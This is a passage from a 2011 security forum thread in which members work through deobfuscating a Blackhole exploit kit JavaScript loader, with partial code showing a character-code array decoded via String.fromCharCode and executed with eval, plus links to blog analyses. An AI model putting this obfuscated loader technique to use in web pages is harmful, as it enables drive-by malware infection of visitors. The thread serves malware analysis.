aa=(document[c.concat('t')]+'qwe').substr(2,4);
a=[null,new Array(90,
101,
89,



Quote
End of obfuscation:

if((aa=='ncti')||(aa=='ctio')||(aa=='unct')){w=String;}
md="a";
         c='';
         i=0;
         s=a[4-3];
         while(i!=s.length){
            c=c+w["f"+"r"+"omCharCo"+"d"+'e'](s + 10);
            i++;
         }
            e=eval;
            e(c);

I've come close, but I'm missing something simple!

Any help would be greatly appreciated.

Thanks..

December 20, 2011, 04:55:31 pm
Reply #13

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Perhaps, I've stumbled upon another version:

There are minor modifications almost daily.

In the version that you posted, I do it this way :

that is the start of script.
Quote
//<html><body><script>
//null+function(){
//c='createCommen';
//}();
//aa=(document[c.concat('t')]+'qwe').substr(2,4);
s=new Array(90,

remove closing square bracket
Quote
49);

end of script
Quote
w=String;
md="a";
         c='';
         i=0;
//         s=a[4-3];
         while(i!=s.length){
            c=c+w["f"+"r"+"omCharCo"+"d"+'e'](s + 10);
            i++;
         }
            e=eval;
            e(c);
   //   </script></body></html>
   
Ruining the bad guy's day

December 23, 2011, 08:57:30 pm
Reply #14

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Interestingly, I posted a few articles on my blog concerning this too (thought I'd posted them over here already);

Blackhole exploit: For those wondering, Part 4 - Now its Amazons turn
http://hphosts.blogspot.com/2011/12/blackhole-exploit-for-those-wondering_3980.html

Blackhole exploit: For those wondering, Part 3 - Fake Facebook e-mail
http://hphosts.blogspot.com/2011/12/blackhole-exploit-for-those-wondering_08.html

Blackhole exploit: For those wondering, Part 2
http://hphosts.blogspot.com/2011/12/blackhole-exploit-for-those-wondering_05.html

Blackhole exploit: For those wondering
http://hphosts.blogspot.com/2011/12/blackhole-exploit-for-those-wondering.html

Only posted the basics, so unless you're new to this, you'll already be familiar with everything I posted.
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net